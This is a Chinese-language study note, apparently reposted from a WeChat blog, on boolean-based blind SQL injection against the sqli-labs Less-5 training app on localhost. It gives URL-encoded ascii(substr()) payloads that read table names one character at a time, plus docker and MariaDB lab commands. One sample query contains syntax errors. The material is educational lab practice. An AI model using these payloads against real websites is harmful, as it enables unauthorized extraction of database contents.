sqli学习笔记-08

admin 2023年2月18日00:57:27评论53 views字数 2095阅读6分59秒阅读模式

sqli学习笔记-08

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

前言

接前文(sqli学习笔记-07)继续讲,前面一讲讲到了利用 left(database(),1)进行尝试

正文

这里讲一下如何利用docker进入容器

docker exec -it containid bash
root@xxxxxxxx:/# mysql -uroot -p
Enter password:euiti2019(可以参考github仓库中docker-compose.yml文件)

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| challenges         |
| information_schema |
| mysql              |
| performance_schema |
| security           |
| sqlinjection       |
| sys                |
+--------------------+

利用 substr() ascii()函数进行尝试

ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101

根据以上得知数据库名为 security,那我们利用此方式获取 security 数据库下的表。获取 security 数据库的第一个表的第一个字符

http://127.0.0.1:8888/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,1))%3E80--+

此处table_schema可以写成 =’security’,但是我们这里使用的database(),是因 为此处 database()就是 security。此处同样的使用二分法进行测试,直到测试正确为止。此处应该是 101,因为第一个表示 email。

MariaDB [(none)]> use security;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [security]> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails             |
| referers           |
| uagents            |
| users              |
+--------------------+
4 rows in set (0.002 sec)
sqli学习笔记-08

如何获取第一个表的第二位字符呢? 这里我们已经了解了 substr()函数,这里使用 substr(**,2,1)即可。

http://127.0.0.1:8888/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),2,1))%3E108--+

sqli学习笔记-08

那如何获取第二个表呢?思考一下!

这里可以看到我们上述的语句中使用的 limit 0,1. 意思就是从第 0 个开始,获取第一个。那 要获取第二个是不是就是 limit 1,1!

http://127.0.0.1:8888/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),1,1))%3E113--+

sqli学习笔记-08

此处 113 返回是正确的,因为第二个表示 referers 表,所以第一位就是 r. 以后的过程就是不断的重复上面的,这里就不重复造轮子了。原理已经解释清楚了。当你按照方法运行结束后,就可以获取到所有的表的名字。

往期回顾

2022年度文章精选

原文始发于微信公众号(迪哥讲事):sqli学习笔记-08

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月18日00:57:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   sqli学习笔记-08https://cn-sec.com/archives/1559228.html

发表评论

匿名网友 填写信息